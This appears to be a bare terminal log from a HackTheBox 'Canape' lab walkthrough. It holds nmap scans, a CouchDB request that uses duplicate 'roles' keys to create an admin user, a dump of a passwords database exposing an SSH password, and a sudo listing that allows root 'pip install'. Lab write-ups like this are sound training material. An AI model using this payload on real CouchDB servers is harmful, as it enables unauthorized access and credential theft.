┌──(mikannse㉿kali)-[~/HTB/canape] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.70 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:53 CST Nmap scan report for canape.htb (10.10.10.70) Host is up (0.073s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 65535/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
┌──(mikannse㉿kali)-[~/HTB/canape] └─$ sudo nmap -sT -sV -sC -O -p80,65535 10.10.10.70 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:55 CST Nmap scan report for canape.htb (10.10.10.70) Host is up (0.064s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-trane-info: Problem with XML parsing of /evox/about |_http-title: Simpsons Fan Site |_http-server-header: Apache/2.4.29 (Ubuntu) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git 65535/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (95%), Crestron 2-Series (86%) OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series Aggressive OS guesses: Linux 5.0 (95%), Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Linux 5.3 - 5.4 (88%), Crestron XPanel control system (86%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.92 seconds
$ curl -X GET http://localhost:5984/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 91 100 91 0 0 9100 0 --:--:-- --:--:-- --:--:-- 9100 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
$ curl -X PUT -d '{"type":"user","name":"mikannse","roles":["_admin"],"roles":[],"password":"123456"}' localhost:5984/_users/org.couchdb.user:mikannse -H "Content-Type:application/json" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 171 100 88 100 83 9777 9222 --:--:-- --:--:-- --:--:-- 19000 {"ok":true,"id":"org.couchdb.user:mikannse","rev":"1-195263f29c15ed60e1086654c5d633e6"}
$ curl -X GET -u mikannse:123456 http://localhost:5984/passwords/_all_docs % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 591 0 591 0 0 65666 0 --:--:-- --:--:-- --:--:-- 65666 {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}} ]}
$ curl -X GET -u mikannse:123456 http://localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 144 100 144 0 0 24000 0 --:--:-- --:--:-- --:--:-- 24000 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
homer@canape:~$ sudo -l [sudo] password for homer: Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape: (root) /usr/bin/pip install *
